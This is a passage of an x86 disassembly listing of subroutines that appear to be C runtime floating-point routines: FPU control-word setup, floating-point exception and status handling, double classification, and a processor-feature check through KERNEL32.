sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CC70, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB278, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CC70, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 26513FEh mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C870 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C860 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C870 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C870 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C860 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C860 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB278, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB278, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C788 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C860 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C78C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C888 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C888 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C894 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2680000h test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26A0000h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C504, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C508 mov al, [esi] mov [esi], cl inc esi loc_421926: 